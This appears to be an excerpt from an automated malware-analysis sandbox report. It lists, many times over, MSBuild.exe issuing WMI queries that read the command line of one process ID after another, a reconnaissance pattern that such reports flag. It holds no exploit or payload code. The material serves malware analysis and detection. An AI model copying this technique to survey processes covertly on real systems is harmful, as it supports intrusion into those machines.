Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2316
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5736
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2892
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 664
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5212
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5396
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 436
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2004
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1204
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2376
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1964
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1756
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7056
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 356
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2316
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5736
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2892
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7224
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 664
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5212
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1068
